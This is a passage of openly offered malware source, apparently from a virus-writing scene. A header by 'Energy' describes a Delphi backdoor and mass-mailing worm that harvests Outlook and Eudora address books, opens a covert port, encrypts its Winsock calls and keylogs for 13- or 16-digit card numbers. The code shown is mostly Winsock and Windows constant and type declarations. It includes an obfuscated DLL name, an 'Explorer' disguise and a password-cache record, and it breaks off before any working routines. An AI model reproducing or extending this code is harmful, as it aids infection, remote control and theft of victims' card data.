; Until last month 10/02 i started a New Project (Trickly)
; for any Comments of us
; mail me to SST@Hablas.com
; bye..and I wish you a New Virulent Year
;
; Energy
;
;
;Source code of the Backdoor ->Energy_Trickly_Backdoor.dpr
;Source code of the Worm     ->Energy_Trickly_Worm.dpr
;
;Little description:
:The worm function scan Outlook and Eudora address book file and after send email. I don't know know if that work with the last versions.
;There is a thread which connect to an irc for see who is online.
;The port 4662(self via Edonkey ect.) is open only when the victim is online and the Wsock32 api call are encrypted and the protocol of the backdoor too.
;The keylogger was design mainly for detect if a 13,16 digit code is tape on the keyboard and after put a flag in the registry (it's surely the big need of money who push me to put this function inside :-).
;The other function are: registry access, file upload/download, windows process, etc..
;
;

Energy_Trickly_Backdoor.dpr

program vv;

uses
  Windows;

const
  {winsock const}
  FD_SETSIZE   = 64;
  IOCPARM_MASK = $7f;
  IOC_VOID     = $20000000;
  IOC_OUT      = $40000000;
  IOC_IN       = $80000000;
  IOC_INOUT    = (IOC_IN or IOC_OUT);

  FIONREAD     = IOC_OUT or { get # bytes to read }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 127;
  FIONBIO      = IOC_IN or { set/clear non-blocking i/o }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 126;
  FIOASYNC     = IOC_IN or { set/clear async i/o }
    ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or
    (Longint(Byte('f')) shl 8) or 125;

    // Protocols }
  IPPROTO_IP     =   0;             { dummy for IP }
  IPPROTO_ICMP   =   1;             { control message protocol }
  IPPROTO_IGMP   =   2;             { group management protocol }
  IPPROTO_GGP    =   3;             { gateway^2 (deprecated) }
  IPPROTO_TCP    =   6;             { tcp }
  IPPROTO_PUP    =  12;             { pup }
  IPPROTO_UDP    =  17;             { user datagram protocol }
  IPPROTO_IDP    =  22;             { xns idp }
  IPPROTO_ND     =  77;             { UNOFFICIAL net disk proto }

  IPPROTO_RAW    =  255;            { raw IP packet }
  IPPROTO_MAX    =  256;
  IPPORT_RESERVED    =  1024;

  INADDR_ANY       = $00000000;
  INADDR_LOOPBACK  = $7F000001;
  INADDR_BROADCAST = $FFFFFFFF;
  INADDR_NONE      = $FFFFFFFF;

  WSADESCRIPTION_LEN     =   256;
  WSASYS_STATUS_LEN      =   128;
  TF_DISCONNECT           = $01;
  TF_REUSE_SOCKET         = $02;
  TF_WRITE_BEHIND         = $04;

  IP_OPTIONS          = 1;
  IP_MULTICAST_IF     = 2;           { set/get IP multicast interface   }
  IP_MULTICAST_TTL    = 3;           { set/get IP multicast timetolive  }
  IP_MULTICAST_LOOP   = 4;           { set/get IP multicast loopback    }
  IP_ADD_MEMBERSHIP   = 5;           { add  an IP group membership      }
  IP_DROP_MEMBERSHIP  = 6;           { drop an IP group membership      }
  IP_TTL              = 7;           { set/get IP Time To Live          }
  IP_TOS              = 8;           { set/get IP Type Of Service       }
  IP_DONTFRAGMENT     = 9;           { set/get IP Don't Fragment flag   }

  IP_DEFAULT_MULTICAST_TTL   = 1;    { normally limit m'casts to 1 hop  }
  IP_DEFAULT_MULTICAST_LOOP  = 1;    { normally hear sends if a member  }
  IP_MAX_MEMBERSHIPS         = 20;   { per socket; must fit in one mbuf }

  SOCK_STREAM     = 1;               { stream socket }
  SOCK_DGRAM      = 2;               { datagram socket }
  SOCK_RAW        = 3;               { raw-protocol interface }
  SOCK_RDM        = 4;               { reliably-delivered message }
  SOCK_SEQPACKET  = 5;               { sequenced packet stream }

  SO_DEBUG        = $0001;          { turn on debugging info recording }
  SO_ACCEPTCONN   = $0002;          { socket has had listen() }
  SO_REUSEADDR    = $0004;          { allow local address reuse }
  SO_KEEPALIVE    = $0008;          { keep connections alive }
  SO_DONTROUTE    = $0010;          { just use interface addresses }
  SO_BROADCAST    = $0020;          { permit sending of broadcast msgs }
  SO_USELOOPBACK  = $0040;          { bypass hardware when possible }
  SO_LINGER       = $0080;          { linger on close if data present }
  SO_OOBINLINE    = $0100;          { leave received OOB data in line }

  SO_DONTLINGER  =   $ff7f;

  SO_SNDBUF       = $1001;          { send buffer size }
  SO_RCVBUF       = $1002;          { receive buffer size }
  SO_SNDLOWAT     = $1003;          { send low-water mark }
  SO_RCVLOWAT     = $1004;          { receive low-water mark }
  SO_SNDTIMEO     = $1005;          { send timeout }
  SO_RCVTIMEO     = $1006;          { receive timeout }
  SO_ERROR        = $1007;          { get error status and clear }
  SO_TYPE         = $1008;          { get socket type }

//  SO_CONNDATA     = $7000;
//  SO_CONNOPT      = $7001;
//  SO_DISCDATA     = $7002;
//  SO_DISCOPT      = $7003;
//  SO_CONNDATALEN  = $7004;
//  SO_CONNOPTLEN   = $7005;
//  SO_DISCDATALEN  = $7006;
//  SO_DISCOPTLEN   = $7007;

//  SO_OPENTYPE     = $7008;

//  SO_SYNCHRONOUS_ALERT    = $10;
//  SO_SYNCHRONOUS_NONALERT = $20;

//  SO_MAXDG        = $7009;
//  SO_MAXPATHDG    = $700A;
//  SO_UPDATE_ACCEPT_CONTEXT     = $700B;
//  SO_CONNECT_TIME = $700C;

  TCP_NODELAY     = $0001;
  TCP_BSDURGENT   = $7000;

//  AF_UNSPEC       = 0;               { unspecified }
  AF_UNIX         = 1;               { local to host (pipes, portals) }
  AF_INET         = 2;               { internetwork: UDP, TCP, etc. }
//  AF_IMPLINK      = 3;               { arpanet imp addresses }
//  AF_PUP          = 4;               { pup protocols: e.g. BSP }
//  AF_CHAOS        = 5;               { mit CHAOS protocols }
//  AF_IPX          = 6;               { IPX and SPX }
//  AF_NS           = 6;               { XEROX NS protocols }
//  AF_ISO          = 7;               { ISO protocols }
//  AF_OSI          = AF_ISO;          { OSI is ISO }
//  AF_ECMA         = 8;               { european computer manufacturers }
//  AF_DATAKIT      = 9;               { datakit protocols }
//  AF_CCITT        = 10;              { CCITT protocols, X.25 etc }
//  AF_SNA          = 11;              { IBM SNA }
//  AF_DECnet       = 12;              { DECnet }
//  AF_DLI          = 13;              { Direct data link interface }
//  AF_LAT          = 14;              { LAT }
//  AF_HYLINK       = 15;              { NSC Hyperchannel }
//  AF_APPLETALK    = 16;              { AppleTalk }
//  AF_NETBIOS      = 17;              { NetBios-style addresses }
//  AF_VOICEVIEW    = 18;              { VoiceView }
//  AF_FIREFOX      = 19;              { FireFox }
//  AF_UNKNOWN1     = 20;              { Somebody is using this! }
//  AF_BAN          = 21;              { Banyan }

//  AF_MAX          = 22;

//  PF_UNSPEC       = AF_UNSPEC;
  PF_UNIX         = AF_UNIX;
  PF_INET         = AF_INET;
//  PF_IMPLINK      = AF_IMPLINK;
//  PF_PUP          = AF_PUP;
//  PF_CHAOS        = AF_CHAOS;
//  PF_NS           = AF_NS;
//  PF_IPX          = AF_IPX;
//  PF_ISO          = AF_ISO;
//  PF_OSI          = AF_OSI;
//  PF_ECMA         = AF_ECMA;
//  PF_DATAKIT      = AF_DATAKIT;
//  PF_CCITT        = AF_CCITT;
//  PF_SNA          = AF_SNA;
//  PF_DECnet       = AF_DECnet;
//  PF_DLI          = AF_DLI;
//  PF_LAT          = AF_LAT;
//  PF_HYLINK       = AF_HYLINK;
//  PF_APPLETALK    = AF_APPLETALK;
//  PF_VOICEVIEW    = AF_VOICEVIEW;
//  PF_FIREFOX      = AF_FIREFOX;
//  PF_UNKNOWN1     = AF_UNKNOWN1;
//  PF_BAN          = AF_BAN;

//  PF_MAX          = AF_MAX;

  SOL_SOCKET      = $ffff;          {options for socket level }

  SOMAXCONN       = 5;{ Maximum queue length specifiable by listen. }

  MSG_OOB         = $1;             {process out-of-band data }
  MSG_PEEK        = $2;             {peek at incoming message }
  MSG_DONTROUTE   = $4;             {send without using routing tables }

  MSG_MAXIOVLEN   = 16;

  MSG_PARTIAL     = $8000;          {partial send or recv for message xport }

  MAXGETHOSTSTRUCT        = 1024;

  FD_READ         = $01;
  FD_WRITE        = $02;
  FD_OOB          = $04;
  FD_ACCEPT       = $08;
  FD_CONNECT      = $10;
  FD_CLOSE        = $20;

  WSABASEERR              = 10000;

  WSAEINTR                = (WSABASEERR+4);
  WSAEBADF                = (WSABASEERR+9);
  WSAEACCES               = (WSABASEERR+13);
  WSAEFAULT               = (WSABASEERR+14);
  WSAEINVAL               = (WSABASEERR+22);
  WSAEMFILE               = (WSABASEERR+24);

  WSAEWOULDBLOCK          = (WSABASEERR+35);
  WSAEINPROGRESS          = (WSABASEERR+36);
  WSAEALREADY             = (WSABASEERR+37);
  WSAENOTSOCK             = (WSABASEERR+38);
  WSAEDESTADDRREQ         = (WSABASEERR+39);
  WSAEMSGSIZE             = (WSABASEERR+40);
  WSAEPROTOTYPE           = (WSABASEERR+41);
  WSAENOPROTOOPT          = (WSABASEERR+42);
  WSAEPROTONOSUPPORT      = (WSABASEERR+43);
  WSAESOCKTNOSUPPORT      = (WSABASEERR+44);
  WSAEOPNOTSUPP           = (WSABASEERR+45);
  WSAEPFNOSUPPORT         = (WSABASEERR+46);
  WSAEAFNOSUPPORT         = (WSABASEERR+47);
  WSAEADDRINUSE           = (WSABASEERR+48);
  WSAEADDRNOTAVAIL        = (WSABASEERR+49);
  WSAENETDOWN             = (WSABASEERR+50);
  WSAENETUNREACH          = (WSABASEERR+51);
  WSAENETRESET            = (WSABASEERR+52);
  WSAECONNABORTED         = (WSABASEERR+53);
  WSAECONNRESET           = (WSABASEERR+54);
  WSAENOBUFS              = (WSABASEERR+55);
  WSAEISCONN              = (WSABASEERR+56);
  WSAENOTCONN             = (WSABASEERR+57);
  WSAESHUTDOWN            = (WSABASEERR+58);
  WSAETOOMANYREFS         = (WSABASEERR+59);
  WSAETIMEDOUT            = (WSABASEERR+60);
  WSAECONNREFUSED         = (WSABASEERR+61);
  WSAELOOP                = (WSABASEERR+62);
  WSAENAMETOOLONG         = (WSABASEERR+63);
  WSAEHOSTDOWN            = (WSABASEERR+64);
  WSAEHOSTUNREACH         = (WSABASEERR+65);
  WSAENOTEMPTY            = (WSABASEERR+66);
  WSAEPROCLIM             = (WSABASEERR+67);
  WSAEUSERS               = (WSABASEERR+68);
  WSAEDQUOT               = (WSABASEERR+69);
  WSAESTALE               = (WSABASEERR+70);
  WSAEREMOTE              = (WSABASEERR+71);

  WSAEDISCON              = (WSABASEERR+101);

  WSASYSNOTREADY          = (WSABASEERR+91);
  WSAVERNOTSUPPORTED      = (WSABASEERR+92);
  WSANOTINITIALISED       = (WSABASEERR+93);

  WSAHOST_NOT_FOUND       = (WSABASEERR+1001);
  HOST_NOT_FOUND          = WSAHOST_NOT_FOUND;

  WSATRY_AGAIN            = (WSABASEERR+1002);
  TRY_AGAIN               = WSATRY_AGAIN;

  WSANO_RECOVERY          = (WSABASEERR+1003);
  NO_RECOVERY             = WSANO_RECOVERY;

  WSANO_DATA              = (WSABASEERR+1004);
  NO_DATA                 = WSANO_DATA;

  WSANO_ADDRESS           = WSANO_DATA;
  NO_ADDRESS              = WSANO_ADDRESS;

  EWOULDBLOCK        =  WSAEWOULDBLOCK;
  EINPROGRESS        =  WSAEINPROGRESS;
  EALREADY           =  WSAEALREADY;
  ENOTSOCK           =  WSAENOTSOCK;
  EDESTADDRREQ       =  WSAEDESTADDRREQ;
  EMSGSIZE           =  WSAEMSGSIZE;
  EPROTOTYPE         =  WSAEPROTOTYPE;
  ENOPROTOOPT        =  WSAENOPROTOOPT;
  EPROTONOSUPPORT    =  WSAEPROTONOSUPPORT;
  ESOCKTNOSUPPORT    =  WSAESOCKTNOSUPPORT;
  EOPNOTSUPP         =  WSAEOPNOTSUPP;
  EPFNOSUPPORT       =  WSAEPFNOSUPPORT;
  EAFNOSUPPORT       =  WSAEAFNOSUPPORT;
  EADDRINUSE         =  WSAEADDRINUSE;
  EADDRNOTAVAIL      =  WSAEADDRNOTAVAIL;
  ENETDOWN           =  WSAENETDOWN;
  ENETUNREACH        =  WSAENETUNREACH;
  ENETRESET          =  WSAENETRESET;
  ECONNABORTED       =  WSAECONNABORTED;
  ECONNRESET         =  WSAECONNRESET;
  ENOBUFS            =  WSAENOBUFS;
  EISCONN            =  WSAEISCONN;
  ENOTCONN           =  WSAENOTCONN;
  ESHUTDOWN          =  WSAESHUTDOWN;
  ETOOMANYREFS       =  WSAETOOMANYREFS;
  ETIMEDOUT          =  WSAETIMEDOUT;
  ECONNREFUSED       =  WSAECONNREFUSED;
  ELOOP              =  WSAELOOP;
  ENAMETOOLONG       =  WSAENAMETOOLONG;
  EHOSTDOWN          =  WSAEHOSTDOWN;
  EHOSTUNREACH       =  WSAEHOSTUNREACH;
  ENOTEMPTY          =  WSAENOTEMPTY;
  EPROCLIM           =  WSAEPROCLIM;
  EUSERS             =  WSAEUSERS;
  EDQUOT             =  WSAEDQUOT;
  ESTALE             =  WSAESTALE;
  EREMOTE            =  WSAEREMOTE; 

  winsocket = 'vqlgn55&mfg'; //wsock32.dll

{messages windows const}
  WM_NULL             = $0000;
  WM_CREATE           = $0001;
  WM_DESTROY          = $0002;
  WM_MOVE             = $0003;
  WM_SIZE             = $0005;
  WM_ACTIVATE         = $0006;
  WM_SETFOCUS         = $0007;
  WM_KILLFOCUS        = $0008;
  WM_ENABLE           = $000A;
  WM_SETREDRAW        = $000B;
  WM_SETTEXT          = $000C;
  WM_GETTEXT          = $000D;
  WM_GETTEXTLENGTH    = $000E;
  WM_PAINT            = $000F;
  WM_CLOSE            = $0010;
  WM_QUERYENDSESSION  = $0011;
  WM_QUIT             = $0012;
  WM_QUERYOPEN        = $0013;
  WM_ERASEBKGND       = $0014;
  WM_SYSCOLORCHANGE   = $0015;
  WM_ENDSESSION       = $0016;
  WM_SYSTEMERROR      = $0017;
  WM_SHOWWINDOW       = $0018;
  WM_CTLCOLOR         = $0019;
  WM_WININICHANGE     = $001A;
  WM_SETTINGCHANGE = WM_WININICHANGE;
  WM_DEVMODECHANGE    = $001B;
  WM_ACTIVATEAPP      = $001C;
  WM_FONTCHANGE       = $001D;
  WM_TIMECHANGE       = $001E;
  WM_CANCELMODE       = $001F;
  WM_SETCURSOR        = $0020;
  WM_MOUSEACTIVATE    = $0021;
  WM_CHILDACTIVATE    = $0022;
  WM_QUEUESYNC        = $0023;
  WM_GETMINMAXINFO    = $0024;
  WM_PAINTICON        = $0026;
  WM_ICONERASEBKGND   = $0027;
  WM_NEXTDLGCTL       = $0028;
  WM_SPOOLERSTATUS    = $002A;
  WM_DRAWITEM         = $002B;
  WM_MEASUREITEM      = $002C;
  WM_DELETEITEM       = $002D;
  WM_VKEYTOITEM       = $002E;
  WM_CHARTOITEM       = $002F;
  WM_SETFONT          = $0030;
  WM_GETFONT          = $0031;
  WM_QUERYDRAGICON    = $0037;
  WM_COMPAREITEM      = $0039;
  WM_COMPACTING       = $0041;

  WM_COMMNOTIFY       = $0044;    { obsolete in Win32}

  WM_WINDOWPOSCHANGING = $0046;
  WM_WINDOWPOSCHANGED = $0047;
  WM_POWER            = $0048;

  WM_COPYDATA         = $004A;
  WM_CANCELJOURNAL    = $004B;
  WM_NOTIFY           = $004E;
  WM_INPUTLANGCHANGEREQUEST = $0050;
  WM_INPUTLANGCHANGE  = $0051;
  WM_TCARD            = $0052;
  WM_HELP             = $0053;
  WM_USERCHANGED      = $0054;
  WM_NOTIFYFORMAT     = $0055;

  WM_CONTEXTMENU      = $007B;
  WM_STYLECHANGING    = $007C;
  WM_STYLECHANGED     = $007D;
  WM_DISPLAYCHANGE    = $007E;
  WM_GETICON          = $007F;
  WM_SETICON          = $0080;

  WM_NCCREATE         = $0081;
  WM_NCDESTROY        = $0082;
  WM_NCCALCSIZE       = $0083;
  WM_NCHITTEST        = $0084;
  WM_NCPAINT          = $0085;
  WM_NCACTIVATE       = $0086;
  WM_GETDLGCODE       = $0087;
  WM_NCMOUSEMOVE      = $00A0;
{  WM_NCLBUTTONDOWN    = $00A1;
  WM_NCLBUTTONUP      = $00A2;
  WM_NCLBUTTONDBLCLK  = $00A3;
  WM_NCRBUTTONDOWN    = $00A4;
  WM_NCRBUTTONUP      = $00A5;
  WM_NCRBUTTONDBLCLK  = $00A6;
  WM_NCMBUTTONDOWN    = $00A7;
  WM_NCMBUTTONUP      = $00A8;
  WM_NCMBUTTONDBLCLK  = $00A9; }

  WM_KEYFIRST         = $0100;
  WM_KEYDOWN          = $0100;
  WM_KEYUP            = $0101;
  WM_CHAR             = $0102;
  WM_DEADCHAR         = $0103;
  WM_SYSKEYDOWN       = $0104;
  WM_SYSKEYUP         = $0105;
  WM_SYSCHAR          = $0106;
  WM_SYSDEADCHAR      = $0107;
  WM_KEYLAST          = $0108;

  WM_INITDIALOG       = $0110;
  WM_COMMAND          = $0111;
  WM_SYSCOMMAND       = $0112;
  WM_TIMER            = $0113;
  WM_HSCROLL          = $0114;
  WM_VSCROLL          = $0115;
  WM_INITMENU         = $0116;
  WM_INITMENUPOPUP    = $0117;
  WM_MENUSELECT       = $011F;
  WM_MENUCHAR         = $0120;
  WM_ENTERIDLE        = $0121;

  WM_CTLCOLORMSGBOX   = $0132;
  WM_CTLCOLOREDIT     = $0133;
  WM_CTLCOLORLISTBOX  = $0134;
  WM_CTLCOLORBTN      = $0135;
  WM_CTLCOLORDLG      = $0136;
  WM_CTLCOLORSCROLLBAR= $0137;
  WM_CTLCOLORSTATIC   = $0138;

  WM_MOUSEFIRST       = $0200;
  WM_MOUSEMOVE        = $0200;
  WM_LBUTTONDOWN      = $0201;
  WM_LBUTTONUP        = $0202;
  WM_LBUTTONDBLCLK    = $0203;
  WM_RBUTTONDOWN      = $0204;
  WM_RBUTTONUP        = $0205;
  WM_RBUTTONDBLCLK    = $0206;
  WM_MBUTTONDOWN      = $0207;
  WM_MBUTTONUP        = $0208;
  WM_MBUTTONDBLCLK    = $0209;
  WM_MOUSEWHEEL       = $020A;
  WM_MOUSELAST        = $020A;

  WM_PARENTNOTIFY     = $0210;
  WM_ENTERMENULOOP    = $0211;
  WM_EXITMENULOOP     = $0212;
  WM_NEXTMENU         = $0213;

  WM_SIZING           = 532;
  WM_CAPTURECHANGED   = 533;
  WM_MOVING           = 534;
  WM_POWERBROADCAST   = 536;
  WM_DEVICECHANGE     = 537;

{  WM_IME_STARTCOMPOSITION        = $010D;
  WM_IME_ENDCOMPOSITION          = $010E;
  WM_IME_COMPOSITION             = $010F;
  WM_IME_KEYLAST                 = $010F;

  WM_IME_SETCONTEXT              = $0281;
  WM_IME_NOTIFY                  = $0282;
  WM_IME_CONTROL                 = $0283;
  WM_IME_COMPOSITIONFULL         = $0284;
  WM_IME_SELECT                  = $0285;
  WM_IME_CHAR                    = $0286;

  WM_IME_KEYDOWN                 = $0290;
  WM_IME_KEYUP                   = $0291;

  WM_MDICREATE        = $0220;
  WM_MDIDESTROY       = $0221;
  WM_MDIACTIVATE      = $0222;
  WM_MDIRESTORE       = $0223;
  WM_MDINEXT          = $0224;
  WM_MDIMAXIMIZE      = $0225;
  WM_MDITILE          = $0226;
  WM_MDICASCADE       = $0227;
  WM_MDIICONARRANGE   = $0228;
  WM_MDIGETACTIVE     = $0229;
  WM_MDISETMENU       = $0230;

  WM_ENTERSIZEMOVE    = $0231;
  WM_EXITSIZEMOVE     = $0232;
  WM_DROPFILES        = $0233;
  WM_MDIREFRESHMENU   = $0234; }

  WM_MOUSEHOVER       = $02A1;
  WM_MOUSELEAVE       = $02A3;

  WM_CUT              = $0300;
  WM_COPY             = $0301;
  WM_PASTE            = $0302;
  WM_CLEAR            = $0303;
  WM_UNDO             = $0304;
  WM_PAINTCLIPBOARD   = $0309;

  WM_PRINT            = 791;
  WM_PRINTCLIENT      = 792;

  WM_HANDHELDFIRST    = 856;
  WM_HANDHELDLAST     = 863;

  WM_PENWINFIRST      = $0380;
  WM_PENWINLAST       = $038F;

  WM_COALESCE_FIRST   = $0390;
  WM_COALESCE_LAST    = $039F;

  WM_DDE_FIRST        = $03E0;
  WM_DDE_INITIATE     = WM_DDE_FIRST + 0;
  WM_DDE_TERMINATE    = WM_DDE_FIRST + 1;
  WM_DDE_ADVISE       = WM_DDE_FIRST + 2;
  WM_DDE_UNADVISE     = WM_DDE_FIRST + 3;
  WM_DDE_ACK          = WM_DDE_FIRST + 4;
  WM_DDE_DATA         = WM_DDE_FIRST + 5;
  WM_DDE_REQUEST      = WM_DDE_FIRST + 6;
  WM_DDE_POKE         = WM_DDE_FIRST + 7;
  WM_DDE_EXECUTE      = WM_DDE_FIRST + 8;
  WM_DDE_LAST         = WM_DDE_FIRST + 8;

  WM_APP = $8000;

  WM_USER             = $0400;
  UM_KEYHIT = WM_USER + 7; //keylog const

  ERROR = '|ERROR:';
  ALLDONE = 'All done.';

  //VER_PLATFORM_WIN32s = 0;
  //V/ER_PLATFORM_WIN32_WINDOWS = 1;
  //VER_PLATFORM_WIN32_NT = 2;

  Count : integer = 0;

  lpzClassName         = 'Explorer ';
  lpzWindowsName       = 'Explorer ';
  WM_MY_SOCK_MESSAGE   = WM_USER+2;
  LFCR                 = #10#13;

{ File open modes }
  fmOpenRead       = $0000;
  fmOpenWrite      = $0001;
  fmOpenReadWrite  = $0002;
  fmShareCompat    = $0000;
  fmShareExclusive = $0010;
  fmShareDenyWrite = $0020;
  fmShareDenyRead  = $0030;
  fmShareDenyNone  = $0040;

{ File attribute constants }
  faReadOnly  = $00000001;
  faHidden    = $00000002;
  faSysFile   = $00000004;
  faVolumeID  = $00000008;
  faDirectory = $00000010;
  faArchive   = $00000020;
  faAnyFile   = $0000003F;

{prog type}
type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;

{winsock type}
type
  u_char = Char;
  u_short = Word;
  u_int = Integer;
  u_long = Longint;

  TSocket = u_int;

type
  PFDSet = ^TFDSet;
  TFDSet = packed record
    fd_count: u_int;
    fd_array: array[0..FD_SETSIZE-1] of TSocket;
  end;

  PTimeVal = ^TTimeVal;
  TTimeVal = packed record
    tv_sec: Longint;
    tv_usec: Longint;
  end;

type
  PHostEnt = ^THostEnt;
  THostEnt = packed record
    h_name: PChar;
    h_aliases: ^PChar;
    h_addrtype: Smallint;
    h_length: Smallint;
    case Byte of
      0: (h_addr_list: ^PChar);
      1: (h_addr: ^PChar)
  end;

  PNetEnt = ^TNetEnt;
  TNetEnt = packed record
    n_name: PChar;
    n_aliases: ^PChar;
    n_addrtype: Smallint;
    n_net: u_long;
  end;

  PServEnt = ^TServEnt;
  TServEnt = packed record
    s_name: PChar;
    s_aliases: ^PChar;
    s_port: Smallint;
    s_proto: PChar;
  end;

  PProtoEnt = ^TProtoEnt;
  TProtoEnt = packed record
    p_name: PChar;
    p_aliases: ^Pchar;
    p_proto: Smallint;
  end;

type
  SunB = packed record
    s_b1, s_b2, s_b3, s_b4: u_char;
  end;

  SunW = packed record
    s_w1, s_w2: u_short;
  end;

  PInAddr = ^TInAddr;
  TInAddr = packed record
    case integer of
      0: (S_un_b: SunB);
      1: (S_un_w: SunW);
      2: (S_addr: u_long);
  end;

  PSockAddrIn = ^TSockAddrIn;
  TSockAddrIn = packed record
    case Integer of
      0: (sin_family: u_short;
          sin_port: u_short;
          sin_addr: TInAddr;
          sin_zero: array[0..7] of Char);
      1: (sa_family: u_short;
          sa_data: array[0..13] of Char)
  end;

type
  PWSAData = ^TWSAData;
  TWSAData = packed record
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..WSADESCRIPTION_LEN] of Char;
    szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
    iMaxSockets: Word;
    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;

  PTransmitFileBuffers = ^TTransmitFileBuffers;
  TTransmitFileBuffers = packed record
      Head: Pointer;
      HeadLength: DWORD;
      Tail: Pointer;
      TailLength: DWORD;
  end;

type
  { Structure used by kernel to store most addresses. }
  PSockAddr = ^TSockAddr;
  TSockAddr = TSockAddrIn;

  { Structure used by kernel to pass protocol information in raw sockets. }
  PSockProto = ^TSockProto;
  TSockProto = packed record
    sp_family: u_short;
    sp_protocol: u_short;
  end;

type
{ Structure used for manipulating linger option. }
  PLinger = ^TLinger;
  TLinger = packed record
    l_onoff: u_short;
    l_linger: u_short;
  end;

const
  INVALID_SOCKET		= TSocket(NOT(0));
  SOCKET_ERROR			= -1;

{type window message record}
type
  PMessage = ^TMessage;
  TMessage = record
    Msg: Cardinal;
    case Integer of
      0: (
        WParam: Longint;
        LParam: Longint;
        Result: Longint);
      1: (
        WParamLo: Word;
        WParamHi: Word;
        LParamLo: Word;
        LParamHi: Word;
        ResultLo: Word;
        ResultHi: Word);
  end;

{ Common message format records }
  TWMNoParams = record
    Msg: Cardinal;
    Unused: array[0..3] of Word;
    Result: Longint;
  end;

  TWMKey = record
    Msg: Cardinal;
    CharCode: Word;
    Unused: Word;
    KeyData: Longint;
    Result: Longint;
  end;

  TWMMouse = record
    Msg: Cardinal;
    Keys: Longint;
    case Integer of
      0: (
        XPos: Smallint;
        YPos: Smallint);
      1: (
        Pos: TSmallPoint;
        Result: Longint);
  end;

  TWMWindowPosMsg = record
    Msg: Cardinal;
    Unused: Integer;
    WindowPos: PWindowPos;
    Result: Longint;
  end;

  TWMScroll = record
    Msg: Cardinal;
    ScrollCode: Smallint; { SB_xxxx }
    Pos: Smallint;
    ScrollBar: HWND;
    Result: Longint;
  end;

{ Message records }
  TWMActivate = record
    Msg: Cardinal;
    Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE }
    Minimized: WordBool;
    ActiveWindow: HWND;
    Result: Longint;
  end;

  TWMActivateApp = record
    Msg: Cardinal;
    Active: BOOL;
    ThreadId: Longint;
    Result: Longint;
  end;

  TWMAskCBFormatName = record
    Msg: Cardinal;
    NameLen: Word;
    Unused: Word;
    FormatName: PChar;
    Result: Longint;
  end;

  TWMCancelMode = TWMNoParams;

  TWMChangeCBChain = record
    Msg: Cardinal;
    Remove: HWND;
    Next: HWND;
    Result: Longint;
  end;

  TWMChar = TWMKey;

  TWMCharToItem = record
    Msg: Cardinal;
    Key: Word;
    CaretPos: Word;
    ListBox: HWND;
    Result: Longint;
  end;

  TWMChildActivate = TWMNoParams;

  TWMChooseFont_GetLogFont = record
    Msg: Cardinal;
    Unused: Longint;
    LogFont: PLogFont;
    Result: Longint;
  end;

  TWMClear = TWMNoParams;
  TWMClose = TWMNoParams;

  TWMCommand = record
    Msg: Cardinal;
    ItemID: Word;
    NotifyCode: Word;
    Ctl: HWND;
    Result: Longint;
  end;

  TWMCompacting = record
    Msg: Cardinal;
    CompactRatio: Longint;
    Unused: Longint;
    Result: Longint;
  end;

  TWMCompareItem = record
    Msg: Cardinal;
    Ctl: HWnd;
    CompareItemStruct: PCompareItemStruct;
    Result: Longint;
  end;

  TWMCopy = TWMNoParams;

  TWMCopyData = record
    Msg: Cardinal;
    From: HWND;
    CopyDataStruct: PCopyDataStruct;
    Result: Longint;
  end;

  { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED }
  TWMCreate = record
    Msg: Cardinal;
    Unused: Integer;
    CreateStruct: PCreateStruct;
    Result: Longint;
  end;

  TWMCtlColor = record
    Msg: Cardinal;
    ChildDC: HDC;
    ChildWnd: HWND;
    Result: Longint;
  end;

  TWMCtlColorBtn = TWMCtlColor;
  TWMCtlColorDlg = TWMCtlColor;
  TWMCtlColorEdit = TWMCtlColor;
  TWMCtlColorListbox = TWMCtlColor;
  TWMCtlColorMsgbox = TWMCtlColor;
  TWMCtlColorScrollbar = TWMCtlColor;
  TWMCtlColorStatic = TWMCtlColor;

  TWMCut = TWMNoParams;

  TWMDDE_Ack = record
    Msg: Cardinal;
    PostingApp: HWND;
    case Word of
      WM_DDE_INITIATE: (
        App: Word;
        Topic: Word;
        Result: Longint);
      WM_DDE_EXECUTE {and all others}: (
        PackedVal: Longint);
  end;

  TWMDDE_Advise = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Data = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Execute = record
    Msg: Cardinal;
    PostingApp: HWND;
    Commands: THandle;
    Result: Longint;
  end;

  TWMDDE_Initiate = record
    Msg: Cardinal;
    PostingApp: HWND;
    App: Word;
    Topic: Word;
    Result: Longint;
  end;

  TWMDDE_Poke = record
    Msg: Cardinal;
    PostingApp: HWND;
    PackedVal: Longint;
    Result: Longint;
  end;

  TWMDDE_Request = record
    Msg: Cardinal;
    PostingApp: HWND;
    Format: Word;
    Item: Word;
    Result: Longint;
  end;

  TWMDDE_Terminate = record
    Msg: Cardinal;
    PostingApp: HWND;
    Unused: Longint;
    Result: Longint;
  end;

  TWMDDE_Unadvise = record
    Msg: Cardinal;
    PostingApp: HWND;
    Format: Word;
    Item: Word;
    Result: Longint;
  end;

  TWMDeadChar = TWMChar;

  TWMDeleteItem = record
    Msg: Cardinal;
    Ctl: HWND;
    DeleteItemStruct: PDeleteItemStruct;
    Result: Longint;
  end;

  TWMDestroy = TWMNoParams;
  TWMDestroyClipboard = TWMNoParams;

  TWMDevModeChange = record
    Msg: Cardinal;
    Unused: Integer;
    Device: PChar;
    Result: Longint;
  end;

  TWMDrawClipboard = TWMNoParams;

{  TWMDropFiles = record
    Msg: Cardinal;
    Drop: THANDLE;
    Unused: Longint;
    Result: Longint;
  end; }

  TWMEnable = record
    Msg: Cardinal;
    Enabled: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMEndSession = record
    Msg: Cardinal;
    EndSession: LongBool;
    Unused: Longint;
    Result: Longint;
  end;

  TWMEnterIdle = record
    Msg: Cardinal;
